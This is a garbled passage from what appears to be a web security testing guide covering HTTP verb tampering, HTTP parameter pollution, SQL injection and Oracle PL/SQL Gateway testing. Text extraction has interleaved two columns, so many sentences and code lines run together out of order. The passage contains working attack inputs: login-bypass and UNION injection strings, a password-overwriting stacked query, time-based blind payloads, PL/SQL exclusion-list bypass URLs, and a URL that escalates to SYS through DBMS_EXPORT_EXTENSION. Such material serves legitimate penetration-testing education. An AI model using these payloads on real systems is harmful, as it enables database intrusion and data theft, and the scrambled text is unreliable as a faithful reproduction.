anticipated by developers. Although the common description is We highly recommend using a tool to do this, although we will
‘verb’ tampering, the HTTP 1.1 standard refers to these request demonstrate how to do manually as well.
types as different HTTP ‘methods.’
Manual HTTP verb tampering testing
The full HTTP 1.1 specification [1] defines the following valid This example is written using the netcat package from openbsd
HTTP request methods, or verbs: (standard with most Linux distributions). You may also use telnet
(included with Windows) in a similar fashion.
OPTIONS
GET 1. Crafting custom HTTP requests
HEAD
POST • Each HTTP 1.1 request follows the following basic formatting
PUT and syntax. Elements surrounded by brackets [ ] are contextual to
DELETE your application. The empty newline at the end is required.
TRACE • In order to craft separate requests, you can manually type each
CONNECT [METHOD] /[index.htm] HTTP/1.1
host: [www.example.com]
If enabled, the Web Distributed Authoring and Version (WebDAV)
extensions [2] [3] permit several more HTTP methods:
request into netcat or telnet and examine the response. However,
to speed up testing, you may also store each request in a separate
PROPFIND
file.
PROPPATCH
MKCOL
This second approach is what we’ll demonstrate in these exam-
COPY
ples. Use your favorite editor to create a text file for each method.
MOVE
Modify for your application’s landing page and domain.
LOCK
UNLOCK
1.1 OPTIONS
However, most web applications only need to respond to GET and OPTIONS /index.html HTTP/1.1
POST requests, providing user data in the URL query string or ap- host: www.example.com
pended to the request respectively. The standard <a href=””></a>
106
#!/bin/bash
1.3 HEAD
for webservmethod in GET POST PUT TRACE CONNECT
HEAD /index.html HTTP/1.1 OPTIONS PROPFIND;
host: www.example.com
do
printf “$webservmethod “ ;
1.4 POST printf “$webservmethod / HTTP/1.1\nHost: $1\n\n” | nc -q 1 $1
80 | grep “HTTP/1.1”
POST /index.html HTTP/1.1
host: www.example.com done
1.5 PUT
Code copied verbatim from the Penetration Testing Lab blog [5]
1.7 TRACE
References
TRACE /index.html HTTP/1.1 Whitepapers
host: www.example.com • Arshan Dabirsiaghi: “Bypassing URL Authentication and Autho-
rization with HTTP Verb Tampering” - http://www.aspectsecurity.
1.8 CONNECT com/research-presentations/bypassing-vbaac-with-http-verb-
tampering
CONNECT /index.html HTTP/1.1
host: www.example.com Testing for HTTP Parameter pollution
(OTG-INPVAL-004)
Summary
Supplying multiple HTTP parameters with the same name may
2. Sending HTTP requests cause an application to interpret values in unanticipated ways. By
• For each method and/or method text file, send the request to exploiting these effects, an attacker may be able to bypass input
validation, trigger application errors or modify internal variables
values. As HTTP Parameter Pollution (in short HPP) affects a
nc www.example.com 80 < OPTIONS.http.txt
building block of all web technologies, server and client side at-
tacks exist.
your web server via netcat or telnet on port 80 (HTTP):
Current HTTP standards do not include guidance on how to inter-
3. Parsing HTTP responses pret multiple input parameters with the same name. For instance,
RFC 3986 simply defines the term Query String as a series of
• Although each HTTP method can potentially return different re- field-value pairs and RFC 2396 defines classes of reversed and
sults, there is only a single valid result for all methods other than unreserved query string characters. Without a standard in place,
GET and POST. web application components handle this edge case in a variety of
The web server should either ignore the request completely or re- ways (see the table below for details).
turn an error. Any other response indicates a test failure as the
server is responding to methods/verbs that are unnecessary. By itself, this is not necessarily an indication of vulnerability. How-
These methods should be disabled. ever, if the developer is not aware of the problem, the presence
of duplicated parameters may produce an anomalous behavior
• An example of a failed test (ie, the server supports OPTIONS de- in the application that can be potentially exploited by an attacker.
107
As often in security, unexpected behaviors are a usual source of Given the URL and querystring: http://example.com/?color=red&-
weaknesses that could lead to HTTP Parameter Pollution attacks color=blue
in this case. To better introduce this class of vulnerabilities and the
outcome of HPP attacks, it is interesting to analyze some real-life Web Application Server Backend ASP JSP
examples that have been discovered in the past. ASP.NET / IIS All occurrences concatenated color=red,blue
with a comma
Input Validation and filters bypass
ASP / IIS All occurrences concatenated color=red,blue
In 2009, immediately after the publication of the first research on with a comma
HTTP Parameter Pollution, the technique received attention from
PHP / Apache Last occurrence only color=blue
the security community as a possible way to bypass web applica-
tion firewalls. PHP / Zeus Last occurrence only color=blue
One of these flaws, affecting ModSecurity SQL Injection Core
JSP, Servlet / Apache Tomcat First occurrence only color=red
Rules, represents a perfect example of the impedance mismatch
between applications and filters. JSP, Servlet / Oracle Application First occurrence only color=red
Server 10g
The ModSecurity filter would correctly blacklist the following
string: select 1,2,3 from table, thus blocking this example URL JSP, Servlet / Jetty First occurrence only color=red
from being processed by the web server: /index.aspx?page=se-
IBM Lotus Domino Last occurrence only color=blue
lect 1,2,3 from table. However, by exploiting the concatenation of
multiple HTTP parameters, an attacker could cause the applica- IBM HTTP Server First occurrence only color=red
tion server to concatenate the string after the ModSecurity filter
mod_perl, libapreq2 / Apache First occurrence only color=red
already accepted the input.
As an example, the URL /index.aspx?page=select 1&page=2,3 Perl CGI / Apache First occurrence only color=red
from table would not trigger the ModSecurity filter, yet the appli- mod_wsgi (Python) / Apache First occurrence only color=red
cation layer would concatenate the input back into the full mali-
cious string. Python / Zope All occurrences in List data color=[‘red’,’blue’]
type
Similarly to server-side HPP, pollute each HTTP parameter with Because the way it was constructed, the user can supply crafted
%26HPP_TEST and look for url-decoded occurrences of the us- input trying to make the original SQL statement execute further
er-supplied payload: actions of the user’s choice. The example below illustrates the us-
er-supplied data “10 or 1=1”, changing the logic of the SQL state-
• &HPP_TEST ment, modifying the WHERE clause adding a condition “or 1=1”.
• &HPP_TEST SQL Injection attacks can be divided into the following three
• … and others classes:
109
• Inband: data is extracted using the same channel that is used semicolon (;) to the field or parameter under test. The first is used
to inject the SQL code. This is the most straightforward kind of in SQL as a string terminator and, if not filtered by the application,
attack, in which the retrieved data is presented directly in the would lead to an incorrect query. The second is used to end a SQL
application web page. statement and, if it is not filtered, it is also likely to generate an er-
• Out-of-band: data is retrieved using a different channel (e.g., an ror. The output of a vulnerable field might resemble the following
email with the results of the query is generated and sent to the (on a Microsoft SQL Server, in this case):
tester).
• Inferential or Blind: there is no actual transfer of data, but the Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’
tester is able to reconstruct the information by sending particular [Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed
requests and observing the resulting behavior of the DB Server. quotation mark before the
character string ‘’.
A successful SQL Injection attack requires the attacker to craft a /target/target.asp, line 113
syntactically correct SQL Query. If the application returns an error
message generated by an incorrect query, then it may be easier
for an attacker to reconstruct the logic of the original query and, Also comment delimiters (-- or /* */, etc) and other SQL keywords
therefore, understand how to perform the injection correctly. like ‘AND’ and ‘OR’ can be used to try to modify the query. A very
However, if the application hides the error details, then the tester simple but sometimes still effective technique is simply to insert
must be able to reverse engineer the logic of the original query. a string where a number is expected, as an error like the following
might be generated:
About the techniques to exploit SQL injection flaws there are five
commons techniques. Also those techniques sometimes can be Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
used in a combined way (e.g. union operator and out-of-band): [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the
• Union Operator: can be used when the SQL injection flaw varchar value ‘test’ to a column of data type int.
happens in a SELECT statement, making it possible to combine /target/target.asp, line 113
two queries into a single result or result set.
• Boolean: use Boolean condition(s) to verify whether certain
conditions are true or false. Monitor all the responses from the web server and have a look
• Error based: this technique forces the database to generate at the HTML/javascript source code. Sometimes the error is pres-
an error, giving the attacker or tester information upon which to ent inside them but for some reason (e.g. javascript error, HTML
refine their injection. comments, etc) is not presented to the user. A full error message,
• Out-of-band: technique used to retrieve data using a different like those in the examples, provides a wealth of information to
channel (e.g., make a HTTP connection to send the results to a the tester in order to mount a successful injection attack. How-
web server). ever, applications often do not provide so much detail: a simple
• Time delay: use database commands (e.g. sleep) to delay answers ‘500 Server Error’ or a custom error page might be issued, mean-
in conditional queries. It useful when attacker doesn’t have some ing that we need to use blind injection techniques. In any case, it
kind of answer (result, output, or error) from the application. is very important to test each field separately: only one variable
must vary while all the other remain constant, in order to precisely
How to Test understand which parameters are vulnerable and which are not.
Detection Techniques
The first step in this test is to understand when the application in- Standard SQL Injection Testing
teracts with a DB Server in order to access some data. Typical ex-
amples of cases when an application needs to talk to a DB include:
Example 1 (classical SQL Injection):
• Authentication forms: when authentication is performed using
a web form, chances are that the user credentials are checked Consider the following SQL query:
against a database that contains all usernames and passwords
(or, better, password hashes).
SELECT * FROM Users WHERE Username=’$username’ AND
• Search engines: the string submitted by the user could be used
Password=’$password’
in a SQL query that extracts all relevant records from a database.
• E-Commerce sites: the products and their characteristics
(price, description, availability, etc) are very likely to be stored in A similar query is generally used from the web application in order
a database. to authenticate a user. If the query returns a value it means that
inside the database a user with that set of credentials exists, then
The tester has to make a list of all input fields whose values could the user is allowed to login to the system, otherwise access is de-
be used in crafting a SQL query, including the hidden fields of POST nied. The values of the input fields are generally obtained from the
requests and then test them separately, trying to interfere with user through a web form. Suppose we insert the following User-
the query and to generate an error. Consider also HTTP headers name and Password values:
and Cookies.
$username = 1’ or ‘1’ = ‘1
The very first test usually consists of adding a single quote (‘) or a
110
The query will be: This may return a number of values. Sometimes, the authentica-
tion code verifies that the number of returned records/results is
exactly equal to 1. In the previous examples, this situation would
SELECT * FROM Users WHERE Username=’1’ OR ‘1’ = ‘1’ AND be difficult (in the database there is only one value per user). In
Password=’1’ OR ‘1’ = ‘1’ order to go around this problem, it is enough to insert a SQL com-
mand that imposes a condition that the number of the returned
If we suppose that the values of the parameters are sent to the results must be one. (One record returned) In order to reach this
server through the GET method, and if the domain of the vulner- goal, we use the operator “LIMIT <num>”, where <num> is the
able web site is www.example.com, the request that we’ll carry number of the results/records that we want to be returned. With
out will be: respect to the previous example, the value of the fields Username
After a short analysis we notice that the query returns a value (or and Password will be modified as follows:
$password = foo
SELECT * FROM products WHERE id_product=10 AND 1=2
DBMS (e.g. PHP + PostgreSQL, ASP+SQL SERVER) it may be possible Exploitation Techniques
to execute multiple queries in one call. Union Exploitation Technique
The UNION operator is used in SQL injections to join a query, pur-
Consider the following SQL query: posely forged by the tester, to the original query.
The result of the forged query will be joined to the result of the
original query, allowing the tester to obtain the values of columns
SELECT * FROM products WHERE id_product=$id_product
of other tables. Suppose for our examples that the query executed
from the server is the following:
A way to exploit the above scenario would be:
SELECT Name, Phone, Address FROM Users WHERE Id=$id
http://www.example.com/product.php?id=10; INSERT INTO
users (…)
We will set the following $id value:
This way is possible to execute many queries in a row and indepen- $id=1 UNION ALL SELECT creditCardNumber,1,1 FROM Credit-
dent of the first query. CardTable
You have an error in your SQL syntax; check the manual The first detail a tester needs to exploit the SQL injection vulnera-
that corresponds to your MySQL server version for the bility using such technique is to find the right numbers of columns
right syntax to use near ‘\’’ at line 1 in the SELECT statement.
In order to achieve this the tester can use ORDER BY clause fol-
Oracle: lowed by a number indicating the numeration of database’s col-
umn selected:
ORA-00933: SQL command not properly ended
http://www.example.com/product.php?id=10 ORDER BY 10--
MS SQL Server:
If the query executes with success the tester can assume, in this
example, there are 10 or more columns in the SELECT statement.
Microsoft SQL Native Client error ‘80040e14’
If the query fails then there must be fewer than 10 columns re-
Unclosed quotation mark after the character string
turned by the query. If there is an error message available, it would
probably be:
PostgreSQL:
Unknown column ‘10’ in ‘order clause’
Query failed: ERROR: syntax error at or near
“’” at character 56 in /www/site/test.php on line 121.
After the tester finds out the numbers of columns, the next step is
to find out the type of columns. Assuming there were 3 columns
2) If there is no error message or a custom error message, the tes- in the example above, the tester could try each column type, using
ter can try to inject into string field using concatenation technique: the NULL value to help them:
ASCII (char): it gives back ASCII value of the input character. A null
All cells in a column must have the same datatype value is returned if char is 0.
If the query executes with success, the first column can be an in- LENGTH (text): it gives back the number of characters in the input
teger. Then the tester can move further and so on: text.
SELECT field1, field2, field3 FROM Users WHERE Id=’$Id’ The obtained response from the server (that is HTML code) will be
the false value for our tests. This is enough to verify whether the
Which is exploitable through the methods seen previously. What value obtained from the execution of the inferential query is equal
we want to obtain is the values of the username field. The tests to the value obtained with the test executed before.
that we will execute will allow us to obtain the value of the user- Sometimes, this method does not work. If the server returns two
name field, extracting such value character by character. This is different pages as a result of two identical consecutive web re-
possible through the use of some standard functions, present in quests, we will not be able to discriminate the true value from
practically every database. For our examples, we will use the fol- the false value. In these particular cases, it is necessary to use
lowing pseudo-functions: particular filters that allow us to eliminate the code that chang-
es between the two requests and to obtain a template. Later on,
SUBSTRING (text, start, length): returns a substring starting from for every inferential request executed, we will extract the relative
the position “start” of text and of length “length”. I template from the response using the same function, and we will
f “start” is greater than the length of text, the function returns a perform a control between the two templates in order to decide
null value. the result of the test.
113
In the previous discussion, we haven’t dealt with the problem of passed to it, which is other query, the name of the user. When the
determining the termination condition for out tests, i.e., when we database looks for a host name with the user database name, it
should end the inference procedure. will fail and return an error message like:
A techniques to do this uses one characteristic of the SUBSTRING
function and the LENGTH function. When the test compares the ORA-292257: host SCOTT unknown
current character with the ASCII code 0 (i.e., the value null) and the
test returns the value true, then either we are done with the infer-
ence procedure (we have scanned the whole string), or the value Then the tester can manipulate the parameter passed to GET_
we have analyzed contains the null character. HOST_NAME() function and the result will be shown in the error
We will insert the following value for the field Id: message.
The blind SQL injection attack needs a high volume of queries. The http://www.example.com/product.php?id=10
tester may need an automatic tool to exploit the vulnerability.
Consider also the request to a script who executes the query Tools
above: • SQL Injection Fuzz Strings (from wfuzz tool) -
https://wfuzz.googlecode.com/svn/trunk/wordlist/Injections/
http://www.example.com/product.php?id=10 SQL.txt
• OWASP SQLiX
• Francois Larouche: Multiple DBMS SQL Injection tool -
The malicious request would be (e.g. MySql 5.x): SQL Power Injector
• ilo--, Reversing.org - sqlbftools
http://www.example.com/product.php?id=10 AND IF(version() • Bernardo Damele A. G.: sqlmap, automatic SQL injection tool -
like ‘5%’, sleep(10), ‘false’))-- http://sqlmap.org/
• icesurfer: SQL Server Takeover Tool - sqlninja
• Pangolin: Automated SQL Injection Tool - Pangolin
In this example the tester if checking whether the MySql version is • Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool -
5.x or not, making the server to delay the answer by 10 seconds. http://code.google.com/p/mysqloit/
The tester can increase the delay time and monitor the responses. • Antonio Parata: Dump Files by SQL inference on Mysql -
The tester also doesn’t need to wait for the response. Sometimes SqlDumper
he can set a very high value (e.g. 100) and cancel the request after • bsqlbf, a blind SQL injection tool in Perl
some seconds.
References
Stored Procedure Injection • Top 10 2013-A1-Injection
When using dynamic SQL within a stored procedure, the applica- • SQL Injection
tion must properly sanitize the user input to eliminate the risk of Technology specific Testing Guide pages have been created for
code injection. If not sanitized, the user could enter malicious SQL the following DBMSs:
that will be executed within the stored procedure. • Oracle
• MySQL
Consider the following SQL Server Stored Procedure: • SQL Server
1 from users; update users set password = ‘password’; select * Testing for Oracle
Summary
This will result in the report running and all users’ passwords be- Web based PL/SQL applications are enabled by the PL/SQL Gate-
ing updated. way, which is is the component that translates web requests into
database queries. Oracle has developed a number of software
Automated Exploitation implementations, ranging from the early web listener product to
Most of the situation and techniques presented here can be per- the Apache mod_plsql module to the XML Database (XDB) web
formed in a automated way using some tools. In this article the server. All have their own quirks and issues, each of which will
tester can find information how to perform an automated auditing be thoroughly investigated in this chapter. Products that use the
using SQLMap: PL/SQL Gateway include, but are not limited to, the Oracle HTTP
https://www.owasp.org/index.php/Automated_Audit_using_ Server, eBusiness Suite, Portal, HTMLDB, WebDB and Oracle Ap-
SQLMap plication Server.
115
How to Test
How the PL/SQL Gateway works SIMPLEDAD
Essentially the PL/SQL Gateway simply acts as a proxy server taking HTMLDB
the user’s web request and passes it on to the database server where ORASSO
it is executed. SSODAD
PORTAL
[1] The web server accepts a request from a web client and PORTAL2
determines if it should be processed by the PL/SQL Gateway. PORTAL30
[2] The PL/SQL Gateway processes the request by extracting the PORTAL30_SSO
requested package name, procedure, and variables. TEST
[3] The requested package and procedure are wrapped in a block DAD
of anonymous PL/SQL, and sent to the database server. APP
[4] The database server executes the procedure and sends the ONLINE
results back to the Gateway as HTML. DB
[5] The gateway sends the response, via the web server, back to OWA
the client.
Understanding this point is important - the PL/SQL code does not ex- Determining if the PL/SQL Gateway is running
ist on the web server but, rather, in the database server. This means When performing an assessment against a server, it’s important first
that any weaknesses in the PL/SQL Gateway or any weaknesses in to know what technology you’re actually dealing with. If you don’t al-
the PL/SQL application, when exploited, give an attacker direct access ready know, for example, in a black box assessment scenario, then the
to the database server; no amount of firewalls will prevent this. first thing you need to do is work this out. Recognizing a web based
PL/SQL application is pretty easy. First, there is the format of the URL
URLs for PL/SQL web applications are normally easily recognizable and what it looks like, discussed above. Beyond that there are a set of
and generally start with the following (xyz can be any string and simple tests that can be performed to test for the existence of the PL/
represents a Database Access Descriptor, which you will learn more SQL Gateway.
about later):
Server response headers
The web server’s response headers are a good indicator as to whether
http://www.example.com/pls/xyz
the server is running the PL/SQL Gateway. The table below lists some
http://www.example.com/xyz/owa
of the typical server response headers:
http://www.example.com/xyz/plsql
While the second and third of these examples represent URLs from Oracle-Application-Server-10g
older versions of the PL/SQL Gateway, the first is from more recent Oracle-Application-Server-10g/10.1.2.0.0 Oracle-HTTP-Server
versions running on Apache. In the plsql.conf Apache configuration file, Oracle-Application-Server-10g/9.0.4.1.0 Oracle-HTTP-Server
/pls is the default, specified as a Location with the PLS module as the Oracle-Application-Server-10g OracleAS-Web-Cache-
handler. The location need not be /pls, however. The absence of a file 10g/9.0.4.2.0 (N)
extension in a URL could indicate the presence of the Oracle PL/SQL Oracle-Application-Server-10g/9.0.4.0.0
Gateway. Consider the following URL: Oracle HTTP Server Powered by Apache
Oracle HTTP Server Powered by Apache/1.3.19 (Unix) mod_
http://www.server.com/aaa/bbb/xxxxx.yyyyy plsql/3.0.9.8.3a
Oracle HTTP Server Powered by Apache/1.3.19 (Unix) mod_
plsql/3.0.9.8.3d
If xxxxx.yyyyy were replaced with something along the lines of “ebank. Oracle HTTP Server Powered by Apache/1.3.12 (Unix) mod_
home,” “store.welcome,” “auth.login,” or “books.search,” then there’s a plsql/3.0.9.8.5e
fairly strong chance that the PL/SQL Gateway is being used. It is also Oracle HTTP Server Powered by Apache/1.3.12 (Win32) mod_
possible to precede the requested package and procedure with the plsql/3.0.9.8.5e
name of the user that owns it - i.e. the schema - in this case the user Oracle HTTP Server Powered by Apache/1.3.19 (Win32) mod_
is “webuser”: plsql/3.0.9.8.3c
Oracle HTTP Server Powered by Apache/1.3.22 (Unix) mod_
http://www.server.com/pls/xyz/webuser.pkg.proc plsql/3.0.9.8.3b
Oracle HTTP Server Powered by Apache/1.3.22 (Unix) mod_
plsql/9.0.2.0.0
In this URL, xyz is the Database Access Descriptor, or DAD. A DAD Oracle_Web_Listener/4.0.7.1.0EnterpriseEdition
specifies information about the database server so that the PL/SQL Oracle_Web_Listener/4.0.8.2EnterpriseEdition
Gateway can connect. It contains information such as the TNS connect Oracle_Web_Listener/4.0.8.1.0EnterpriseEdition
string, the user ID and password, authentication methods, and so on. Oracle_Web_listener3.0.2.0.0/2.14FC1
These DADs are specified in the dads.conf Apache configuration file in Oracle9iAS/9.0.2 Oracle HTTP Server
more recent versions or the wdbsvr.app file in older versions. Some Oracle9iAS/9.0.3.1 Oracle HTTP Server
default DADs include the following:
116
The NULL test Cross Site Scripting attacks could be launched via the HTP pack-
In PL/SQL, “null” is a perfectly acceptable expression: age:
http://www.example.com/pls/dad/HTP.PRINT?C-
SQL> BEGIN
BUF=<script>alert(‘XSS’)</script>
2 NULL;
3 END;
4/ Clearly, this is dangerous, so Oracle introduced a PLSQL Exclu-
sion list to prevent direct access to such dangerous procedures.
PL/SQL procedure successfully completed. Banned items include any request starting with SYS.*, any re-
quest starting with DBMS_*, any request with HTP.* or OWA*. It
is possible to bypass the exclusion list however. What’s more, the
We can use this to test if the server is running the PL/SQL Gate- exclusion list does not prevent access to packages in the CTXSYS
way. Simply take the DAD and append NULL, then append NO- and MDSYS schemas or others, so it is possible to exploit flaws in
SUCHPROC: these packages:
http://www.example.com/pls/dad/null http://www.example.com/pls/dad/CXTSYS.DRILOAD.VALI-
http://www.example.com/pls/dad/nosuchproc DATE_STMT?SQLSTMT=SELECT+1+FROM+DUAL
If the server responds with a 200 OK response for the first and a This will return a blank HTML page with a 200 OK response if the
404 Not Found for the second then it indicates that the server is database server is still vulnerable to this flaw (CVE-2006-0265)
running the PL/SQL Gateway.
Testing the PL/SQL Gateway For Flaws
Known package access Over the years, the Oracle PL/SQL Gateway has suffered from a
On older versions of the PL/SQL Gateway, it is possible to directly number of flaws, including access to admin pages (CVE-2002-
access the packages that form the PL/SQL Web Toolkit such as the 0561), buffer overflows (CVE-2002-0559), directory traversal
OWA and HTP packages. One of these packages is the OWA_UTIL bugs, and vulnerabilities that allow attackers to bypass the Exclu-
package, which we’ll speak about more later on. This package sion List and go on to access and execute arbitrary PL/SQL pack-
contains a procedure called SIGNATURE and it simply outputs in ages in the database server.
HTML a PL/SQL signature. Thus requesting
Bypassing the PL/SQL Exclusion List
“This page was produced by the PL/SQL Web Toolkit on date” It is incredible how many times Oracle has attempted to fix flaws
that allow attackers to bypass the exclusion list. Each patch that
Oracle has produced has fallen victim to a new bypass technique.
returns the following output on the webpage The history of this sorry story can be found here: http://seclists.
org/fulldisclosure/2006/Feb/0011.html
“This page was produced by the PL/SQL Cartridge on date”
Bypassing the Exclusion List - Method 1
When Oracle first introduced the PL/SQL Exclusion List to prevent
or attackers from accessing arbitrary PL/SQL packages, it could be
trivially bypassed by preceding the name of the schema/package
with a hex encoded newline character or space or tab:
“This page was produced by the PL/SQL Cartridge on date”
http://www.example.com/pls/dad/%0ASYS.PACKAGE.PROC
If you don’t get this response but a 403 Forbidden response then http://www.example.com/pls/dad/%20SYS.PACKAGE.PROC
you can infer that the PL/SQL Gateway is running. This is the re- http://www.example.com/pls/dad/%09SYS.PACKAGE.PROC
sponse you should get in later versions or patched systems.
Accessing Arbitrary PL/SQL Packages in the Database Bypassing the Exclusion List - Method 2
It is possible to exploit vulnerabilities in the PL/SQL packages that Later versions of the Gateway allowed attackers to bypass the
are installed by default in the database server. How you do this exclusion list by preceding the name of the schema/package
depends on the version of the PL/SQL Gateway. In earlier versions with a label. In PL/SQL a label points to a line of code that can
of the PL/SQL Gateway, there was nothing to stop an attacker be jumped to using the GOTO statement and takes the following
from accessing an arbitrary PL/SQL package in the database serv- form: <<NAME>>
er. We mentioned the OWA_UTIL package earlier. This can be used
to run arbitrary SQL queries: http://www.example.com/pls/dad/<<LBL>>SYS.PACKAGE.PROC
Notice lines 19 and 24. On line 19, the user’s request is checked against
http://www.example.com/pls/dad/%5CSYS.PACKAGE.PROC a list of known “bad” strings, i.e., the exclusion list. If the requested
package and procedure do not contain bad strings, then the procedure
Bypassing the Exclusion List - Method 6 is executed on line 24. The XYZ parameter is passed as a bind variable.
This is the most complex method of bypassing the exclusion list
and is the most recently patched method. If we were to request If we then request the following:
the following
http://server.example.com/pls/dad/INJECT’POINT
http://www.example.com/pls/dad/foo.bar?xyz=123
the following PL/SQL is executed:
the application server would execute the following at the data-
base server: ..
18 simple_list__(7) := ‘htf.%’;
1 declare 19 if ((owa_match.match_pattern(‘inject’point’, simple_
2 rc__ number; list__, complex_list__, true))) then
3 start_time__ binary_integer; 20 rc__ := 2;
4 simple_list__ owa_util.vc_arr; 21 else
5 complex_list__ owa_util.vc_arr; 22 null;
6 begin 23 orasso.wpg_session.init();
7 start_time__ := dbms_utility.get_time; 24 inject’point;
8 owa.init_cgi_env(:n__,:nm__,:v__); ..
9 htp.HTBUF_LEN := 255;
10 null;
11 null; This generates an error in the error log: “PLS-00103: Encountered the
12 simple_list__(1) := ‘sys.%’; symbol ‘POINT’ when expecting one of the following. . .” What we have
13 simple_list__(2) := ‘dbms\_%’; here is a way to inject arbitrary SQL. This can be exploited to bypass
14 simple_list__(3) := ‘utl\_%’; the exclusion list. First, the attacker needs to find a PL/SQL procedure
15 simple_list__(4) := ‘owa\_%’; that takes no parameters and doesn’t match anything in the exclusion
16 simple_list__(5) := ‘owa.%’; list. There are a good number of default packages that match this cri-
17 simple_list__(6) := ‘htp.%’; teria, for example:
18 simple_list__(7) := ‘htf.%’;
19 if ((owa_match.match_pattern(‘foo.bar’, simple_list__, JAVA_AUTONOMOUS_TRANSACTION.PUSH
complex_list__, true))) then XMLGEN.USELOWERCASETAGNAMES
118
PORTAL.WWV_HTP.CENTERCLOSE http://www.example.com/pls/dad/orasso.home?);OWA_
ORASSO.HOME UTIL.CELLSPRINT(:1);--=SELECT+USERNAME+FROM+ALL_
WWC_VERSION.GET_HTTP_DATABASE_INFO USERS
An attacker should pick one of these functions that is actually To execute arbitrary SQL, including DML and DDL statements, the
available on the target system (i.e., returns a 200 OK when re- attacker inserts an execute immediate :1:
quested). As a test, an attacker can request
http://server.example.com/pls/dad/orasso.home?);exe-
http://server.example.com/pls/dad/orasso.home?FOO=BAR cute%20immediate%20:1;--=select%201%20from%20dual
the server should return a “404 File Not Found” response because Note that the output won’t be displayed. This can be leveraged to
the orasso.home procedure does not require parameters and one exploit any PL/SQL injection bugs owned by SYS, thus enabling an
has been supplied. However, before the 404 is returned, the fol- attacker to gain complete control of the backend database server.
lowing PL/SQL is executed: For example, the following URL takes advantage of the SQL in-
jection flaws in DBMS_EXPORT_EXTENSION (see http://secunia.
com/advisories/19860)
..
..
if ((owa_match.match_pattern(‘orasso.home’, simple_ http://www.example.com/pls/dad/orasso.home?);
list__, complex_list__, true))) then execute%20immediate%20:1;--=DECLARE%20BUF%20
rc__ := 2; VARCHAR2(2000);%20BEGIN%20
else BUF:=SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_IN-
null; DEX_TABLES
orasso.wpg_session.init(); (‘INDEX_NAME’,’INDEX_SCHEMA’,’DBMS_OUTPUT.PUT_
orasso.home(FOO=>:FOO); LINE(:p1);
.. EXECUTE%20IMMEDIATE%20’’CREATE%20OR%20RE-
.. PLACE%20
PUBLIC%20SYNONYM%20BREAKABLE%20FOR%20SYS.
OWA_UTIL’’;
Note the presence of FOO in the attacker’s query string. Attackers END;--’,’SYS’,1,’VER’,0);END;
can abuse this to run arbitrary SQL. First, they need to close the
brackets:
Assessing Custom PL/SQL Web Applications
http://server.example.com/pls/dad/orasso.home?);--=BAR During black box security assessments, the code of the custom
PL/SQL application is not available, but it still needs to be as-
sessed for security vulnerabilities.
This results in the following PL/SQL being executed:
Testing for SQL Injection
Each input parameter should be tested for SQL injection flaws.
..
These are easy to find and confirm. Finding them is as easy as
orasso.home();--=>:);--);
embedding a single quote into the parameter and checking for er-
..
ror responses (which include 404 Not Found errors). Confirming
the presence of SQL injection can be performed using the concat-
Note that everything after the double minus (--) is treated as a enation operator.
comment. This request will cause an internal server error because For example, assume there is a bookstore PL/SQL web application
one of the bind variables is no longer used, so the attacker needs that allows users to search for books by a given author:
to add it back. As it happens, it’s this bind variable that is the key to
running arbitrary PL/SQL. For the moment, they can just use HTP.
PRINT to print BAR, and add the needed bind variable as :1: http://www.example.com/pls/bookstore/books.search?au-
thor=DICKENS
http://server.example.com/pls/dad/orasso.home?);HTP.
PRINT(:1);--=BAR If this request returns books by Charles Dickens, but
http://www.example.com/pls/bookstore/books.search?au-
This should return a 200 with the word “BAR” in the HTML. What’s thor=DICK’ENS
happening here is that everything after the equals sign - BAR in
this case - is the data inserted into the bind variable. Using the
same technique it’s possible to also gain access to owa_util.cell- returns an error or a 404, then there might be a SQL injection flaw.
sprint again: This can be confirmed by using the concatenation operator:
119
If this request returns books by Charles Dickens, you’ve confirmed The Single Quotes Problem
the presence of the SQL injection vulnerability. Before taking advantage of MySQL features, it has to be taken in
consideration how strings could be represented in a statement, as
Tools often web applications escape single quotes.
• SQLInjector -
http://www.databasesecurity.com/sql-injector.htm MySQL quote escaping is the following:
• Orascan (Oracle Web Application VA scanner), NGS SQuirreL ‘A string with \’quotes\’’
(Oracle RDBMS VA Scanner) - http://www.nccgroup.com/en/
our-services/security-testing-audit-compliance/information- That is, MySQL interprets escaped apostrophes (\’) as characters
security-software/ngs-orascan/ and not as metacharacters.
MySQL comes with at least four versions which are used in pro- 1 ; update tablename set code=’javascript code’ where 1 --
duction worldwide, 3.23.x, 4.0.x, 4.1.x and 5.0.x. Every version has
a set of features proportional to version number.
Information gathering
• From Version 4.0: UNION Fingerprinting MySQL
• From Version 4.1: Subqueries Of course, the first thing to know is if there’s MySQL DBMS as a
• From Version 5.0: Stored procedures, Stored functions and the back end database. MySQL server has a feature that is used to let
view named INFORMATION_SCHEMA other DBMS ignore a clause in MySQL dialect. When a comment
• From Version 5.0.2: Triggers block (‘/**/’) contains an exclamation mark (‘/*! sql here*/’) it is
interpreted by MySQL, and is considered as a normal comment
It should be noted that for MySQL versions before 4.0.x, only block by other DBMS as explained in MySQL manual.
Boolean or time-based Blind Injection attacks could be used, since
the subquery functionality or UNION statements were not imple- Example:
mented.
From now on, we will assume that there is a classic SQL injection 1 /*! and 1=0 */
vulnerability, which can be triggered by a request similar to the the
120
Version
